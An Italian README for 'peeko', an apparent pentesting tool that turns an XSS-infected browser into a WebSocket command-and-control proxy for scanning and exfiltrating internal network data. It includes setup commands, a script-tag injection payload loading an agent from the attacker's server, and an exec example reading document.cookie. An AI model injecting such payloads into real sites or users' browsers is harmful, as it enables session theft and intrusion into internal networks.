
peeko – C2 XSS basato su browser per l'esplorazione stealth di reti interne tramite browser infetto.
Versione: v1.1
peeko è uno strumento C2 (Command and Control) basato sul browser e alimentato da XSS che sfrutta il browser della vittima come proxy invisibile all'interno delle reti interne.
Tramite un payload XSS iniettato, peeko stabilisce una connessione WebSocket a un server centrale, consentendo a un attaccante di controllare da remoto il browser della vittima per inviare richieste ai servizi interni, scansionare reti, esfiltrare dati o persino eseguire JavaScript arbitrario — il tutto senza rilasciare un singolo binario.
.txt o .jsonClona il repository:
git clone https://github.com/b3rito/peeko.git
cd peeko
Installa le dipendenze:
make install
(Opzionale) Rendi eseguibili gli script:
chmod +x gen-cert.sh start.sh
Genera il certificato TLS autofirmato:
make cert
Sostituisci il segnaposto SERVER-IP:
Apri e modifica i seguenti file:
static/agent.jsstatic/control.htmlSostituisci SERVER-IP con l'IP/dominio del tuo server:
wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
Avvia il server:
make run
Apri il pannello di controllo nel tuo browser:
https://192.168.30.136:8443/static/control.html
Inietta l'agente (esempio XSS):
<script src="https://192.168.30.136:8443/static/agent.js"></script>
192.168.1.0/24, 10.0.0.10-20, ecc.80, 443,8000-8080)exec:... per inviareexec:alert(document.cookie);.txt o .jsonLe policy dei browser moderni influenzano ciò a cui peeko può accedere.
| Header | Può leggere il contenuto? | Note |
|---|---|---|
Access-Control-Allow-Origin: * | ✅ | Accesso completo alla risposta |
| Nessun header | ⚠️ | La risposta è opaca |
| Origine ristretta | ❌ | Bloccata o illeggibile |
La vittima si connette tramite HTTPS. Se un target scansionato usa solo HTTP:
http://Durante un penetration test, se trovi un servizio interno che risponde con Access-Control-Allow-Origin: * ed è servito su HTTPS, allora peeko diventa un proxy invisibile in grado di esfiltrare dati interni direttamente dal browser della vittima, senza rilasciare file o aprire connessioni in uscita.
peeko/
├── main.py → FastAPI WebSocket server
├── start.sh → Launch server
├── gen-cert.sh → Generate self-signed TLS certificate
├── Makefile → Install/run helpers
├── requirements.txt → Python dependencies
├── certs/ → TLS key and cert will be stored here
└── static/ → Browser client assets
├── control.html → Control panel (was attacker.html)
├── infect.html → Victim landing page
└── agent.js → Victim agent script
Questo strumento è fornito esclusivamente a scopo educativo e per test autorizzati.
Qualsiasi utilizzo di peeko al di fuori di ambienti in cui hai esplicita autorizzazione è severamente vietato.
Sei responsabile delle tue azioni.
Scritto da b3rito presso mes3hacklab & GioPpeTto